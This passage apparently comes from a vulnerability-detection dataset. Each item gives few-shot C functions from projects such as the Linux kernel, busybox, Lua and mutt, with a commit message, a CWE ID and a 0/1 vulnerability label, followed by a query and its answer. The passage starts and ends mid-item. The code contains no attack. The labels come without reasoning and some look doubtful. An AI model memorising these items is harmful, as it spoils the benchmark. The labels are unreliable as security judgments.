ensure_defined(r2); ensure_defined(r1); r1.d = r1.d * r2.d; push(r1); break; case OP_DBL_DIV: pop(r2); pop(r1); ensure_defined(r2); ensure_defined(r1); r1.d = r1.d / r2.d; push(r1); break; case OP_DBL_MINUS: pop(r1); ensure_defined(r1); r1.d = -r1.d; push(r1); break; case OP_STR_EQ: case OP_STR_NEQ: case OP_STR_LT: case OP_STR_LE: case OP_STR_GT: case OP_STR_GE: pop(r2); pop(r1); ensure_defined(r1); ensure_defined(r2); switch(*ip) { case OP_STR_EQ: r1.i = (sized_string_cmp(r1.ss, r2.ss) == 0); break; case OP_STR_NEQ: r1.i = (sized_string_cmp(r1.ss, r2.ss) != 0); break; case OP_STR_LT: r1.i = (sized_string_cmp(r1.ss, r2.ss) < 0); break; case OP_STR_LE: r1.i = (sized_string_cmp(r1.ss, r2.ss) <= 0); break; case OP_STR_GT: r1.i = (sized_string_cmp(r1.ss, r2.ss) > 0); break; case OP_STR_GE: r1.i = (sized_string_cmp(r1.ss, r2.ss) >= 0); break; } push(r1); break; default: assert(FALSE); } if (timeout > 0) // timeout == 0 means no timeout { if (++cycle == 10) { if (difftime(time(NULL), start_time) > timeout) { #ifdef PROFILING_ENABLED assert(current_rule != NULL); current_rule->clock_ticks += clock() - start; #endif result = ERROR_SCAN_TIMEOUT; stop = TRUE; } cycle = 0; } } ip++; } yr_modules_unload_all(context); yr_free(stack); return result; } Commit Message: Fix issue #658 CWE ID: CWE-416 Target: 1 Example 2: Code: int modprobe_main(int argc UNUSED_PARAM, char **argv) { int rc; unsigned opt; struct module_entry *me; INIT_G(); IF_LONG_OPTS(applet_long_options = modprobe_longopts;) opt_complementary = MODPROBE_COMPLEMENTARY; opt = getopt32(argv, INSMOD_OPTS MODPROBE_OPTS INSMOD_ARGS); argv += optind; /* Goto modules location */ xchdir(CONFIG_DEFAULT_MODULES_DIR); uname(&G.uts); xchdir(G.uts.release); if (opt & OPT_LIST_ONLY) { int i; char name[MODULE_NAME_LEN]; char *colon, *tokens[2]; parser_t *p = config_open2(CONFIG_DEFAULT_DEPMOD_FILE, xfopen_for_read); for (i = 0; argv[i]; i++) replace(argv[i], '-', '_'); while (config_read(p, tokens, 2, 1, "# \t", PARSE_NORMAL)) { colon = last_char_is(tokens[0], ':'); if (!colon) continue; *colon = '\0'; filename2modname(tokens[0], name); if (!argv[0]) puts(tokens[0]); else { for (i = 0; argv[i]; i++) { if (fnmatch(argv[i], name, 0) == 0) { puts(tokens[0]); } } } } return EXIT_SUCCESS; } /* Yes, for some reason -l ignores -s... */ if (opt & INSMOD_OPT_SYSLOG) logmode = LOGMODE_SYSLOG; if (!argv[0]) { if (opt & OPT_REMOVE) { /* "modprobe -r" (w/o params). * "If name is NULL, all unused modules marked * autoclean will be removed". */ if (bb_delete_module(NULL, O_NONBLOCK | O_EXCL) != 0) bb_perror_msg_and_die("rmmod"); } return EXIT_SUCCESS; } /* Retrieve module names of already loaded modules */ { char *s; parser_t *parser = config_open2("/proc/modules", fopen_for_read); while (config_read(parser, &s, 1, 1, "# \t", PARSE_NORMAL & ~PARSE_GREEDY)) get_or_add_modentry(s)->flags |= MODULE_FLAG_LOADED; config_close(parser); } if (opt & (OPT_INSERT_ALL | OPT_REMOVE)) { /* Each argument is a module name */ do { DBG("adding module %s", *argv); add_probe(*argv++); } while (*argv); } else { /* First argument is module name, rest are parameters */ DBG("probing just module %s", *argv); add_probe(argv[0]); G.cmdline_mopts = parse_cmdline_module_options(argv, /*quote_spaces:*/ 1); } /* Happens if all requested modules are already loaded */ if (G.probes == NULL) return EXIT_SUCCESS; read_config("/etc/modprobe.conf"); read_config("/etc/modprobe.d"); if (ENABLE_FEATURE_MODUTILS_SYMBOLS && G.need_symbols) read_config("modules.symbols"); load_modules_dep(); if (ENABLE_FEATURE_MODUTILS_ALIAS && G.num_unresolved_deps) { read_config("modules.alias"); load_modules_dep(); } rc = 0; while ((me = llist_pop(&G.probes)) != NULL) { if (me->realnames == NULL) { DBG("probing by module name"); /* This is not an alias. Literal names are blacklisted * only if '-b' is given. */ if (!(opt & OPT_BLACKLIST) || !(me->flags & MODULE_FLAG_BLACKLISTED) ) { rc |= do_modprobe(me); } continue; } /* Probe all real names for the alias */ do { char *realname = llist_pop(&me->realnames); struct module_entry *m2; DBG("probing alias %s by realname %s", me->modname, realname); m2 = get_or_add_modentry(realname); if (!(m2->flags & MODULE_FLAG_BLACKLISTED) && (!(m2->flags & MODULE_FLAG_LOADED) || (opt & (OPT_REMOVE | OPT_SHOW_DEPS))) ) { rc |= do_modprobe(m2); } free(realname); } while (me->realnames != NULL); } return (rc != 0); } Commit Message: CWE ID: CWE-20 Target: 0 Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation. Code: static int svc_rdma_bc_sendto(struct svcxprt_rdma *rdma, struct rpc_rqst *rqst) { struct xdr_buf *sndbuf = &rqst->rq_snd_buf; struct svc_rdma_op_ctxt *ctxt; struct svc_rdma_req_map *vec; struct ib_send_wr send_wr; int ret; vec = svc_rdma_get_req_map(rdma); ret = svc_rdma_map_xdr(rdma, sndbuf, vec, false); if (ret) goto out_err; ret = svc_rdma_repost_recv(rdma, GFP_NOIO); if (ret) goto out_err; ctxt = svc_rdma_get_context(rdma); ctxt->pages[0] = virt_to_page(rqst->rq_buffer); ctxt->count = 1; ctxt->direction = DMA_TO_DEVICE; ctxt->sge[0].lkey = rdma->sc_pd->local_dma_lkey; ctxt->sge[0].length = sndbuf->len; ctxt->sge[0].addr = ib_dma_map_page(rdma->sc_cm_id->device, ctxt->pages[0], 0, sndbuf->len, DMA_TO_DEVICE); if (ib_dma_mapping_error(rdma->sc_cm_id->device, ctxt->sge[0].addr)) { ret = -EIO; goto out_unmap; } svc_rdma_count_mappings(rdma, ctxt); memset(&send_wr, 0, sizeof(send_wr)); ctxt->cqe.done = svc_rdma_wc_send; send_wr.wr_cqe = &ctxt->cqe; send_wr.sg_list = ctxt->sge; send_wr.num_sge = 1; send_wr.opcode = IB_WR_SEND; send_wr.send_flags = IB_SEND_SIGNALED; ret = svc_rdma_send(rdma, &send_wr); if (ret) { ret = -EIO; goto out_unmap; } out_err: svc_rdma_put_req_map(rdma, vec); dprintk("svcrdma: %s returns %d\n", __func__, ret); return ret; out_unmap: svc_rdma_unmap_dma(ctxt); svc_rdma_put_context(ctxt, 1); goto out_err; } Commit Message: Merge tag 'nfsd-4.12' of git://linux-nfs.org/~bfields/linux Pull nfsd updates from Bruce Fields: "Another RDMA update from Chuck Lever, and a bunch of miscellaneous bugfixes" * tag 'nfsd-4.12' of git://linux-nfs.org/~bfields/linux: (26 commits) nfsd: Fix up the "supattr_exclcreat" attributes nfsd: encoders mustn't use unitialized values in error cases nfsd: fix undefined behavior in nfsd4_layout_verify lockd: fix lockd shutdown race NFSv4: Fix callback server shutdown SUNRPC: Refactor svc_set_num_threads() NFSv4.x/callback: Create the callback service through svc_create_pooled lockd: remove redundant check on block svcrdma: Clean out old XDR encoders svcrdma: Remove the req_map cache svcrdma: Remove unused RDMA Write completion handler svcrdma: Reduce size of sge array in struct svc_rdma_op_ctxt svcrdma: Clean up RPC-over-RDMA backchannel reply processing svcrdma: Report Write/Reply chunk overruns svcrdma: Clean up RDMA_ERROR path svcrdma: Use rdma_rw API in RPC reply path svcrdma: Introduce local rdma_rw API helpers svcrdma: Clean up svc_rdma_get_inv_rkey() svcrdma: Add helper to save pages under I/O svcrdma: Eliminate RPCRDMA_SQ_DEPTH_MULT ... CWE ID: CWE-404 Output:
1
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code. Example 1: Code: int_x509_param_set_hosts(X509_VERIFY_PARAM_ID *id, int mode, const char *name, size_t namelen) { char *copy; /* * Refuse names with embedded NUL bytes. * XXX: Do we need to push an error onto the error stack? */ if (name && memchr(name, '\0', namelen)) return 0; if (mode == SET_HOST && id->hosts) { string_stack_free(id->hosts); id->hosts = NULL; } if (name == NULL || namelen == 0) return 1; copy = strndup(name, namelen); if (copy == NULL) return 0; if (id->hosts == NULL && (id->hosts = sk_OPENSSL_STRING_new_null()) == NULL) { free(copy); return 0; } if (!sk_OPENSSL_STRING_push(id->hosts, copy)) { free(copy); if (sk_OPENSSL_STRING_num(id->hosts) == 0) { sk_OPENSSL_STRING_free(id->hosts); id->hosts = NULL; } return 0; } return 1; } Commit Message: Call strlen() if name length provided is 0, like OpenSSL does. Issue notice by Christian Heimes <[email protected]> ok deraadt@ jsing@ CWE ID: CWE-295 Target: 1 Example 2: Code: static void perf_group_detach(struct perf_event *event) { struct perf_event *sibling, *tmp; struct list_head *list = NULL; lockdep_assert_held(&event->ctx->lock); /* * We can have double detach due to exit/hot-unplug + close. */ if (!(event->attach_state & PERF_ATTACH_GROUP)) return; event->attach_state &= ~PERF_ATTACH_GROUP; /* * If this is a sibling, remove it from its group. */ if (event->group_leader != event) { list_del_init(&event->group_entry); event->group_leader->nr_siblings--; goto out; } if (!list_empty(&event->group_entry)) list = &event->group_entry; /* * If this was a group event with sibling events then * upgrade the siblings to singleton events by adding them * to whatever list we are on. */ list_for_each_entry_safe(sibling, tmp, &event->sibling_list, group_entry) { if (list) list_move_tail(&sibling->group_entry, list); sibling->group_leader = sibling; /* Inherit group flags from the previous leader */ sibling->group_caps = event->group_caps; WARN_ON_ONCE(sibling->ctx != event->ctx); } out: perf_event__header_size(event->group_leader); list_for_each_entry(tmp, &event->group_leader->sibling_list, group_entry) perf_event__header_size(tmp); } Commit Message: perf/core: Fix the perf_cpu_time_max_percent check Use "proc_dointvec_minmax" instead of "proc_dointvec" to check the input value from user-space. If not, we can set a big value and some vars will overflow like "sysctl_perf_event_sample_rate" which will cause a lot of unexpected problems. Signed-off-by: Tan Xiaojun <[email protected]> Signed-off-by: Peter Zijlstra (Intel) <[email protected]> Cc: <[email protected]> Cc: <[email protected]> Cc: Alexander Shishkin <[email protected]> Cc: Arnaldo Carvalho de Melo <[email protected]> Cc: Jiri Olsa <[email protected]> Cc: Linus Torvalds <[email protected]> Cc: Peter Zijlstra <[email protected]> Cc: Stephane Eranian <[email protected]> Cc: Thomas Gleixner <[email protected]> Cc: Vince Weaver <[email protected]> Link: http://lkml.kernel.org/r/[email protected] Signed-off-by: Ingo Molnar <[email protected]> CWE ID: CWE-190 Target: 0 Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation. Code: void luaD_callhook (lua_State *L, int event, int line) { lua_Hook hook = L->hook; if (hook && L->allowhook) { ptrdiff_t top = savestack(L, L->top); ptrdiff_t ci_top = savestack(L, L->ci->top); lua_Debug ar; ar.event = event; ar.currentline = line; if (event == LUA_HOOKTAILRET) ar.i_ci = 0; /* tail call; no debug information about it */ else ar.i_ci = cast_int(L->ci - L->base_ci); luaD_checkstack(L, LUA_MINSTACK); /* ensure minimum stack size */ L->ci->top = L->top + LUA_MINSTACK; lua_assert(L->ci->top <= L->stack_last); L->allowhook = 0; /* cannot call hooks inside a hook */ lua_unlock(L); (*hook)(L, &ar); lua_lock(L); lua_assert(!L->allowhook); L->allowhook = 1; L->ci->top = restorestack(L, ci_top); L->top = restorestack(L, top); } } Commit Message: disable loading lua bytecode CWE ID: CWE-17 Output:
0
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code. Example 1: Code: int x86_emulate_insn(struct x86_emulate_ctxt *ctxt) { const struct x86_emulate_ops *ops = ctxt->ops; int rc = X86EMUL_CONTINUE; int saved_dst_type = ctxt->dst.type; ctxt->mem_read.pos = 0; /* LOCK prefix is allowed only with some instructions */ if (ctxt->lock_prefix && (!(ctxt->d & Lock) || ctxt->dst.type != OP_MEM)) { rc = emulate_ud(ctxt); goto done; } if ((ctxt->d & SrcMask) == SrcMemFAddr && ctxt->src.type != OP_MEM) { rc = emulate_ud(ctxt); goto done; } if (unlikely(ctxt->d & (No64|Undefined|Sse|Mmx|Intercept|CheckPerm|Priv|Prot|String))) { if ((ctxt->mode == X86EMUL_MODE_PROT64 && (ctxt->d & No64)) || (ctxt->d & Undefined)) { rc = emulate_ud(ctxt); goto done; } if (((ctxt->d & (Sse|Mmx)) && ((ops->get_cr(ctxt, 0) & X86_CR0_EM))) || ((ctxt->d & Sse) && !(ops->get_cr(ctxt, 4) & X86_CR4_OSFXSR))) { rc = emulate_ud(ctxt); goto done; } if ((ctxt->d & (Sse|Mmx)) && (ops->get_cr(ctxt, 0) & X86_CR0_TS)) { rc = emulate_nm(ctxt); goto done; } if (ctxt->d & Mmx) { rc = flush_pending_x87_faults(ctxt); if (rc != X86EMUL_CONTINUE) goto done; /* * Now that we know the fpu is exception safe, we can fetch * operands from it. */ fetch_possible_mmx_operand(ctxt, &ctxt->src); fetch_possible_mmx_operand(ctxt, &ctxt->src2); if (!(ctxt->d & Mov)) fetch_possible_mmx_operand(ctxt, &ctxt->dst); } if (unlikely(ctxt->guest_mode) && (ctxt->d & Intercept)) { rc = emulator_check_intercept(ctxt, ctxt->intercept, X86_ICPT_PRE_EXCEPT); if (rc != X86EMUL_CONTINUE) goto done; } /* Privileged instruction can be executed only in CPL=0 */ if ((ctxt->d & Priv) && ops->cpl(ctxt)) { if (ctxt->d & PrivUD) rc = emulate_ud(ctxt); else rc = emulate_gp(ctxt, 0); goto done; } /* Instruction can only be executed in protected mode */ if ((ctxt->d & Prot) && ctxt->mode < X86EMUL_MODE_PROT16) { rc = emulate_ud(ctxt); goto done; } /* Do instruction specific permission checks */ if (ctxt->d & CheckPerm) { rc = ctxt->check_perm(ctxt); if (rc != X86EMUL_CONTINUE) goto done; } if (unlikely(ctxt->guest_mode) && (ctxt->d & Intercept)) { rc = emulator_check_intercept(ctxt, ctxt->intercept, X86_ICPT_POST_EXCEPT); if (rc != X86EMUL_CONTINUE) goto done; } if (ctxt->rep_prefix && (ctxt->d & String)) { /* All REP prefixes have the same first termination condition */ if (address_mask(ctxt, reg_read(ctxt, VCPU_REGS_RCX)) == 0) { ctxt->eip = ctxt->_eip; ctxt->eflags &= ~EFLG_RF; goto done; } } } if ((ctxt->src.type == OP_MEM) && !(ctxt->d & NoAccess)) { rc = segmented_read(ctxt, ctxt->src.addr.mem, ctxt->src.valptr, ctxt->src.bytes); if (rc != X86EMUL_CONTINUE) goto done; ctxt->src.orig_val64 = ctxt->src.val64; } if (ctxt->src2.type == OP_MEM) { rc = segmented_read(ctxt, ctxt->src2.addr.mem, &ctxt->src2.val, ctxt->src2.bytes); if (rc != X86EMUL_CONTINUE) goto done; } if ((ctxt->d & DstMask) == ImplicitOps) goto special_insn; if ((ctxt->dst.type == OP_MEM) && !(ctxt->d & Mov)) { /* optimisation - avoid slow emulated read if Mov */ rc = segmented_read(ctxt, ctxt->dst.addr.mem, &ctxt->dst.val, ctxt->dst.bytes); if (rc != X86EMUL_CONTINUE) goto done; } ctxt->dst.orig_val = ctxt->dst.val; special_insn: if (unlikely(ctxt->guest_mode) && (ctxt->d & Intercept)) { rc = emulator_check_intercept(ctxt, ctxt->intercept, X86_ICPT_POST_MEMACCESS); if (rc != X86EMUL_CONTINUE) goto done; } if (ctxt->rep_prefix && (ctxt->d & String)) ctxt->eflags |= EFLG_RF; else ctxt->eflags &= ~EFLG_RF; if (ctxt->execute) { if (ctxt->d & Fastop) { void (*fop)(struct fastop *) = (void *)ctxt->execute; rc = fastop(ctxt, fop); if (rc != X86EMUL_CONTINUE) goto done; goto writeback; } rc = ctxt->execute(ctxt); if (rc != X86EMUL_CONTINUE) goto done; goto writeback; } if (ctxt->opcode_len == 2) goto twobyte_insn; else if (ctxt->opcode_len == 3) goto threebyte_insn; switch (ctxt->b) { case 0x63: /* movsxd */ if (ctxt->mode != X86EMUL_MODE_PROT64) goto cannot_emulate; ctxt->dst.val = (s32) ctxt->src.val; break; case 0x70 ... 0x7f: /* jcc (short) */ if (test_cc(ctxt->b, ctxt->eflags)) jmp_rel(ctxt, ctxt->src.val); break; case 0x8d: /* lea r16/r32, m */ ctxt->dst.val = ctxt->src.addr.mem.ea; break; case 0x90 ... 0x97: /* nop / xchg reg, rax */ if (ctxt->dst.addr.reg == reg_rmw(ctxt, VCPU_REGS_RAX)) ctxt->dst.type = OP_NONE; else rc = em_xchg(ctxt); break; case 0x98: /* cbw/cwde/cdqe */ switch (ctxt->op_bytes) { case 2: ctxt->dst.val = (s8)ctxt->dst.val; break; case 4: ctxt->dst.val = (s16)ctxt->dst.val; break; case 8: ctxt->dst.val = (s32)ctxt->dst.val; break; } break; case 0xcc: /* int3 */ rc = emulate_int(ctxt, 3); break; case 0xcd: /* int n */ rc = emulate_int(ctxt, ctxt->src.val); break; case 0xce: /* into */ if (ctxt->eflags & EFLG_OF) rc = emulate_int(ctxt, 4); break; case 0xe9: /* jmp rel */ case 0xeb: /* jmp rel short */ jmp_rel(ctxt, ctxt->src.val); ctxt->dst.type = OP_NONE; /* Disable writeback. */ break; case 0xf4: /* hlt */ ctxt->ops->halt(ctxt); break; case 0xf5: /* cmc */ /* complement carry flag from eflags reg */ ctxt->eflags ^= EFLG_CF; break; case 0xf8: /* clc */ ctxt->eflags &= ~EFLG_CF; break; case 0xf9: /* stc */ ctxt->eflags |= EFLG_CF; break; case 0xfc: /* cld */ ctxt->eflags &= ~EFLG_DF; break; case 0xfd: /* std */ ctxt->eflags |= EFLG_DF; break; default: goto cannot_emulate; } if (rc != X86EMUL_CONTINUE) goto done; writeback: if (ctxt->d & SrcWrite) { BUG_ON(ctxt->src.type == OP_MEM || ctxt->src.type == OP_MEM_STR); rc = writeback(ctxt, &ctxt->src); if (rc != X86EMUL_CONTINUE) goto done; } if (!(ctxt->d & NoWrite)) { rc = writeback(ctxt, &ctxt->dst); if (rc != X86EMUL_CONTINUE) goto done; } /* * restore dst type in case the decoding will be reused * (happens for string instruction ) */ ctxt->dst.type = saved_dst_type; if ((ctxt->d & SrcMask) == SrcSI) string_addr_inc(ctxt, VCPU_REGS_RSI, &ctxt->src); if ((ctxt->d & DstMask) == DstDI) string_addr_inc(ctxt, VCPU_REGS_RDI, &ctxt->dst); if (ctxt->rep_prefix && (ctxt->d & String)) { unsigned int count; struct read_cache *r = &ctxt->io_read; if ((ctxt->d & SrcMask) == SrcSI) count = ctxt->src.count; else count = ctxt->dst.count; register_address_increment(ctxt, reg_rmw(ctxt, VCPU_REGS_RCX), -count); if (!string_insn_completed(ctxt)) { /* * Re-enter guest when pio read ahead buffer is empty * or, if it is not used, after each 1024 iteration. */ if ((r->end != 0 || reg_read(ctxt, VCPU_REGS_RCX) & 0x3ff) && (r->end == 0 || r->end != r->pos)) { /* * Reset read cache. Usually happens before * decode, but since instruction is restarted * we have to do it here. */ ctxt->mem_read.end = 0; writeback_registers(ctxt); return EMULATION_RESTART; } goto done; /* skip rip writeback */ } ctxt->eflags &= ~EFLG_RF; } ctxt->eip = ctxt->_eip; done: if (rc == X86EMUL_PROPAGATE_FAULT) { WARN_ON(ctxt->exception.vector > 0x1f); ctxt->have_exception = true; } if (rc == X86EMUL_INTERCEPTED) return EMULATION_INTERCEPTED; if (rc == X86EMUL_CONTINUE) writeback_registers(ctxt); return (rc == X86EMUL_UNHANDLEABLE) ? EMULATION_FAILED : EMULATION_OK; twobyte_insn: switch (ctxt->b) { case 0x09: /* wbinvd */ (ctxt->ops->wbinvd)(ctxt); break; case 0x08: /* invd */ case 0x0d: /* GrpP (prefetch) */ case 0x18: /* Grp16 (prefetch/nop) */ case 0x1f: /* nop */ break; case 0x20: /* mov cr, reg */ ctxt->dst.val = ops->get_cr(ctxt, ctxt->modrm_reg); break; case 0x21: /* mov from dr to reg */ ops->get_dr(ctxt, ctxt->modrm_reg, &ctxt->dst.val); break; case 0x40 ... 0x4f: /* cmov */ if (test_cc(ctxt->b, ctxt->eflags)) ctxt->dst.val = ctxt->src.val; else if (ctxt->mode != X86EMUL_MODE_PROT64 || ctxt->op_bytes != 4) ctxt->dst.type = OP_NONE; /* no writeback */ break; case 0x80 ... 0x8f: /* jnz rel, etc*/ if (test_cc(ctxt->b, ctxt->eflags)) jmp_rel(ctxt, ctxt->src.val); break; case 0x90 ... 0x9f: /* setcc r/m8 */ ctxt->dst.val = test_cc(ctxt->b, ctxt->eflags); break; case 0xae: /* clflush */ break; case 0xb6 ... 0xb7: /* movzx */ ctxt->dst.bytes = ctxt->op_bytes; ctxt->dst.val = (ctxt->src.bytes == 1) ? (u8) ctxt->src.val : (u16) ctxt->src.val; break; case 0xbe ... 0xbf: /* movsx */ ctxt->dst.bytes = ctxt->op_bytes; ctxt->dst.val = (ctxt->src.bytes == 1) ? (s8) ctxt->src.val : (s16) ctxt->src.val; break; case 0xc3: /* movnti */ ctxt->dst.bytes = ctxt->op_bytes; ctxt->dst.val = (ctxt->op_bytes == 8) ? (u64) ctxt->src.val : (u32) ctxt->src.val; break; default: goto cannot_emulate; } threebyte_insn: if (rc != X86EMUL_CONTINUE) goto done; goto writeback; cannot_emulate: return EMULATION_FAILED; } Commit Message: KVM: x86: Emulator fixes for eip canonical checks on near branches Before changing rip (during jmp, call, ret, etc.) the target should be asserted to be canonical one, as real CPUs do. During sysret, both target rsp and rip should be canonical. If any of these values is noncanonical, a #GP exception should occur. The exception to this rule are syscall and sysenter instructions in which the assigned rip is checked during the assignment to the relevant MSRs. This patch fixes the emulator to behave as real CPUs do for near branches. Far branches are handled by the next patch. This fixes CVE-2014-3647. Cc: [email protected] Signed-off-by: Nadav Amit <[email protected]> Signed-off-by: Paolo Bonzini <[email protected]> CWE ID: CWE-264 Target: 1 Example 2: Code: static void on_no_comment_toggled(GtkToggleButton *togglebutton, gpointer user_data) { toggle_eb_comment(); } Commit Message: wizard: fix save users changes after reviewing dump dir files If the user reviewed the dump dir's files during reporting the crash, the changes was thrown away and original data was passed to the bugzilla bug report. report-gtk saves the first text view buffer and then reloads data from the reported problem directory, which causes that the changes made to those text views are thrown away. Function save_text_if_changed(), except of saving text, also reload the files from dump dir and update gui state from the dump dir. The commit moves the reloading and updating gui functions away from this function. Related to rhbz#1270235 Signed-off-by: Matej Habrnal <[email protected]> CWE ID: CWE-200 Target: 0 Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation. Code: long long Cluster::GetFirstTime() const { const BlockEntry* pEntry; const long status = GetFirst(pEntry); if (status < 0) //error return status; if (pEntry == NULL) //empty cluster return GetTime(); const Block* const pBlock = pEntry->GetBlock(); assert(pBlock); return pBlock->GetTime(this); } Commit Message: libwebm: Pull from upstream Rolling mkvparser from upstream. Primarily for fixing a bug on parsing failures with certain Opus WebM files. Upstream commit hash of this pull: 574045edd4ecbeb802ee3f1d214b5510269852ae The diff is so huge because there were some style clean ups upstream. But it was ensured that there were no breaking changes when the style clean ups was done upstream. Change-Id: Ib6e907175484b4b0ae1b55ab39522ea3188ad039 CWE ID: CWE-119 Output:
1
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code. Example 1: Code: int mutt_b64_decode(char *out, const char *in) { int len = 0; unsigned char digit4; do { const unsigned char digit1 = in[0]; if ((digit1 > 127) || (base64val(digit1) == BAD)) return -1; const unsigned char digit2 = in[1]; if ((digit2 > 127) || (base64val(digit2) == BAD)) return -1; const unsigned char digit3 = in[2]; if ((digit3 > 127) || ((digit3 != '=') && (base64val(digit3) == BAD))) return -1; digit4 = in[3]; if ((digit4 > 127) || ((digit4 != '=') && (base64val(digit4) == BAD))) return -1; in += 4; /* digits are already sanity-checked */ *out++ = (base64val(digit1) << 2) | (base64val(digit2) >> 4); len++; if (digit3 != '=') { *out++ = ((base64val(digit2) << 4) & 0xf0) | (base64val(digit3) >> 2); len++; if (digit4 != '=') { *out++ = ((base64val(digit3) << 6) & 0xc0) | base64val(digit4); len++; } } } while (*in && digit4 != '='); return len; } Commit Message: Check outbuf length in mutt_to_base64() The obuf can be overflowed in auth_cram.c, and possibly auth_gss.c. Thanks to Jeriko One for the bug report. CWE ID: CWE-119 Target: 1 Example 2: Code: struct brcmf_cfg80211_info *brcmf_cfg80211_attach(struct brcmf_pub *drvr, struct device *busdev, bool p2pdev_forced) { struct net_device *ndev = brcmf_get_ifp(drvr, 0)->ndev; struct brcmf_cfg80211_info *cfg; struct wiphy *wiphy; struct cfg80211_ops *ops; struct brcmf_cfg80211_vif *vif; struct brcmf_if *ifp; s32 err = 0; s32 io_type; u16 *cap = NULL; if (!ndev) { brcmf_err("ndev is invalid\n"); return NULL; } ops = kmemdup(&brcmf_cfg80211_ops, sizeof(*ops), GFP_KERNEL); if (!ops) return NULL; ifp = netdev_priv(ndev); #ifdef CONFIG_PM if (brcmf_feat_is_enabled(ifp, BRCMF_FEAT_WOWL_GTK)) ops->set_rekey_data = brcmf_cfg80211_set_rekey_data; #endif wiphy = wiphy_new(ops, sizeof(struct brcmf_cfg80211_info)); if (!wiphy) { brcmf_err("Could not allocate wiphy device\n"); goto ops_out; } memcpy(wiphy->perm_addr, drvr->mac, ETH_ALEN); set_wiphy_dev(wiphy, busdev); cfg = wiphy_priv(wiphy); cfg->wiphy = wiphy; cfg->ops = ops; cfg->pub = drvr; init_vif_event(&cfg->vif_event); INIT_LIST_HEAD(&cfg->vif_list); vif = brcmf_alloc_vif(cfg, NL80211_IFTYPE_STATION); if (IS_ERR(vif)) goto wiphy_out; vif->ifp = ifp; vif->wdev.netdev = ndev; ndev->ieee80211_ptr = &vif->wdev; SET_NETDEV_DEV(ndev, wiphy_dev(cfg->wiphy)); err = wl_init_priv(cfg); if (err) { brcmf_err("Failed to init iwm_priv (%d)\n", err); brcmf_free_vif(vif); goto wiphy_out; } ifp->vif = vif; /* determine d11 io type before wiphy setup */ err = brcmf_fil_cmd_int_get(ifp, BRCMF_C_GET_VERSION, &io_type); if (err) { brcmf_err("Failed to get D11 version (%d)\n", err); goto priv_out; } cfg->d11inf.io_type = (u8)io_type; brcmu_d11_attach(&cfg->d11inf); err = brcmf_setup_wiphy(wiphy, ifp); if (err < 0) goto priv_out; brcmf_dbg(INFO, "Registering custom regulatory\n"); wiphy->reg_notifier = brcmf_cfg80211_reg_notifier; wiphy->regulatory_flags |= REGULATORY_CUSTOM_REG; wiphy_apply_custom_regulatory(wiphy, &brcmf_regdom); /* firmware defaults to 40MHz disabled in 2G band. We signal * cfg80211 here that we do and have it decide we can enable * it. But first check if device does support 2G operation. */ if (wiphy->bands[NL80211_BAND_2GHZ]) { cap = &wiphy->bands[NL80211_BAND_2GHZ]->ht_cap.cap; *cap |= IEEE80211_HT_CAP_SUP_WIDTH_20_40; } err = wiphy_register(wiphy); if (err < 0) { brcmf_err("Could not register wiphy device (%d)\n", err); goto priv_out; } err = brcmf_setup_wiphybands(wiphy); if (err) { brcmf_err("Setting wiphy bands failed (%d)\n", err); goto wiphy_unreg_out; } /* If cfg80211 didn't disable 40MHz HT CAP in wiphy_register(), * setup 40MHz in 2GHz band and enable OBSS scanning. */ if (cap && (*cap & IEEE80211_HT_CAP_SUP_WIDTH_20_40)) { err = brcmf_enable_bw40_2g(cfg); if (!err) err = brcmf_fil_iovar_int_set(ifp, "obss_coex", BRCMF_OBSS_COEX_AUTO); else *cap &= ~IEEE80211_HT_CAP_SUP_WIDTH_20_40; } /* p2p might require that "if-events" get processed by fweh. So * activate the already registered event handlers now and activate * the rest when initialization has completed. drvr->config needs to * be assigned before activating events. */ drvr->config = cfg; err = brcmf_fweh_activate_events(ifp); if (err) { brcmf_err("FWEH activation failed (%d)\n", err); goto wiphy_unreg_out; } err = brcmf_p2p_attach(cfg, p2pdev_forced); if (err) { brcmf_err("P2P initialisation failed (%d)\n", err); goto wiphy_unreg_out; } err = brcmf_btcoex_attach(cfg); if (err) { brcmf_err("BT-coex initialisation failed (%d)\n", err); brcmf_p2p_detach(&cfg->p2p); goto wiphy_unreg_out; } err = brcmf_pno_attach(cfg); if (err) { brcmf_err("PNO initialisation failed (%d)\n", err); brcmf_btcoex_detach(cfg); brcmf_p2p_detach(&cfg->p2p); goto wiphy_unreg_out; } if (brcmf_feat_is_enabled(ifp, BRCMF_FEAT_TDLS)) { err = brcmf_fil_iovar_int_set(ifp, "tdls_enable", 1); if (err) { brcmf_dbg(INFO, "TDLS not enabled (%d)\n", err); wiphy->flags &= ~WIPHY_FLAG_SUPPORTS_TDLS; } else { brcmf_fweh_register(cfg->pub, BRCMF_E_TDLS_PEER_EVENT, brcmf_notify_tdls_peer_event); } } /* (re-) activate FWEH event handling */ err = brcmf_fweh_activate_events(ifp); if (err) { brcmf_err("FWEH activation failed (%d)\n", err); goto detach; } /* Fill in some of the advertised nl80211 supported features */ if (brcmf_feat_is_enabled(ifp, BRCMF_FEAT_SCAN_RANDOM_MAC)) { wiphy->features |= NL80211_FEATURE_SCHED_SCAN_RANDOM_MAC_ADDR; #ifdef CONFIG_PM if (wiphy->wowlan && wiphy->wowlan->flags & WIPHY_WOWLAN_NET_DETECT) wiphy->features |= NL80211_FEATURE_ND_RANDOM_MAC_ADDR; #endif } return cfg; detach: brcmf_pno_detach(cfg); brcmf_btcoex_detach(cfg); brcmf_p2p_detach(&cfg->p2p); wiphy_unreg_out: wiphy_unregister(cfg->wiphy); priv_out: wl_deinit_priv(cfg); brcmf_free_vif(vif); ifp->vif = NULL; wiphy_out: brcmf_free_wiphy(wiphy); ops_out: kfree(ops); return NULL; } Commit Message: brcmfmac: fix possible buffer overflow in brcmf_cfg80211_mgmt_tx() The lower level nl80211 code in cfg80211 ensures that 